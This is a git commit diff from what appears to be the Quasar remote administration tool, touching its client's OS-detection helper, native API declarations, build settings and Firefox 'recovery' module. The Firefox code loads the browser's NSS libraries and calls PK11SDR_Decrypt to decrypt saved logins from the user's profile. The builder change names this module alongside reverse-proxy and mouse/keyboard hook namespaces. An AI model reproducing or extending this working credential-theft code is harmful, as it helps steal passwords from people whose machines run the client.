Merge pull request #344 from quasar/pr/343

Fixed #339
This commit is contained in:
MaxXor 2015-08-22 09:38:28 +02:00
commit 2a93171ddf
6 changed files with 88 additions and 21 deletions

View File

@ -15,7 +15,7 @@
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<PlatformTarget>x86</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
@ -26,7 +26,7 @@
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<PlatformTarget>x86</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Bin\Release\</OutputPath>

View File

@ -1,6 +1,7 @@
using System;
using System.Management;
using System.Text.RegularExpressions;
using xClient.Core.Utilities;
namespace xClient.Core.Helper
{
@ -33,6 +34,51 @@ namespace xClient.Core.Helper
}
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
Architecture = (Is64BitOperatingSystem()) ? 64 : 32;
}
/// <summary>
/// The function determines whether the current operating system is a
/// 64-bit operating system.
/// </summary>
/// <returns>
/// The function returns true if the operating system is 64-bit;
/// otherwise, it returns false.
/// </returns>
static bool Is64BitOperatingSystem()
{
if (IntPtr.Size == 8) // 64-bit programs run only on Win64
{
return true;
}
else // 32-bit programs run on both 32-bit and 64-bit Windows
{
// Detect whether the current process is a 32-bit process
// running on a 64-bit system.
bool flag;
return ((DoesWin32MethodExist("kernel32.dll", "IsWow64Process") &&
NativeMethods.IsWow64Process(NativeMethods.GetCurrentProcess(), out flag)) && flag);
}
}
/// <summary>
/// The function determins whether a method exists in the export
/// table of a certain module.
/// </summary>
/// <param name="moduleName">The name of the module</param>
/// <param name="methodName">The name of the method</param>
/// <returns>
/// The function returns true if the method specified by methodName
/// exists in the export table of the module specified by moduleName.
/// </returns>
static bool DoesWin32MethodExist(string moduleName, string methodName)
{
IntPtr moduleHandle = NativeMethods.GetModuleHandle(moduleName);
if (moduleHandle == IntPtr.Zero)
{
return false;
}
return (NativeMethods.GetProcAddress(moduleHandle, methodName) != IntPtr.Zero);
}
/// <summary>
@ -41,9 +87,9 @@ namespace xClient.Core.Helper
public static string Name { get; private set; }
/// <summary>
/// Determines if the current application is 32 or 64-bit.
/// Determines whether the operating system is 32 or 64-bit.
/// </summary>
public static int Architecture { get { return IntPtr.Size * 8; } }
public static int Architecture { get; private set; }
/// <summary>
/// Returns a indicating whether the application is running in Mono runtime.

View File

@ -8,6 +8,7 @@ using Microsoft.Win32;
using xClient.Core.Data;
using xClient.Core.Recovery.Utilities;
using xClient.Core.Utilities;
using System.Diagnostics;
namespace xClient.Core.Recovery.Browsers
{
@ -142,11 +143,20 @@ namespace xClient.Core.Recovery.Browsers
#region Functions
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
{
LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
nssModule = LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
//Return if under firefox 35 (35+ supported)
//Firefox changes their DLL heirarchy/code with different releases
//So we need to avoid trying to load a DLL in the wrong order
//To prevent pop up saying it could not load the DLL
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
return;
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
NSS_Init(firefoxProfilePath.FullName);
long keySlot = PK11_GetInternalKeySlot();
@ -241,7 +251,7 @@ namespace xClient.Core.Recovery.Browsers
if (String.IsNullOrEmpty(libPath))
throw new ArgumentNullException("libPath");
IntPtr moduleHandle = LoadLibrary(libPath);
IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
if (moduleHandle == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
@ -253,12 +263,6 @@ namespace xClient.Core.Recovery.Browsers
return moduleHandle;
}
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate long NSS_InitPtr(string configdir);
@ -346,25 +350,25 @@ namespace xClient.Core.Recovery.Browsers
// Credit: http://www.codeforge.com/article/249225
private static long PK11_GetInternalKeySlot()
{
IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
return ptr();
}
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
{
IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate");
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
return ptr(slot, loadCerts, wincx);
}
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
{
IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
return ptr(arenaOpt, outItemOpt, inStr, inLen);
}
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
{
IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
return ptr(ref data, ref result, cx);
}

View File

@ -8,7 +8,6 @@ using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32;
using xClient.Core.Data;
using xClient.Core.Utilities;
namespace xClient.Core.Recovery.Browsers
{

View File

@ -12,6 +12,23 @@ namespace xClient.Core.Utilities
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeleteFile(string name);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,
[MarshalAs(UnmanagedType.LPStr)]string procName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
[DllImport("user32.dll")]
public static extern bool SetCursorPos(int x, int y);

View File

@ -64,6 +64,7 @@ namespace xServer.Core.Build
|| typeDef.Namespace.StartsWith("xClient.Core.ReverseProxy")
|| typeDef.Namespace.StartsWith("xClient.Core.MouseKeyHook")
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|| typeDef.Namespace.StartsWith("xClient.Core.Recovery.Browsers")
|| typeDef.HasInterfaces)
return;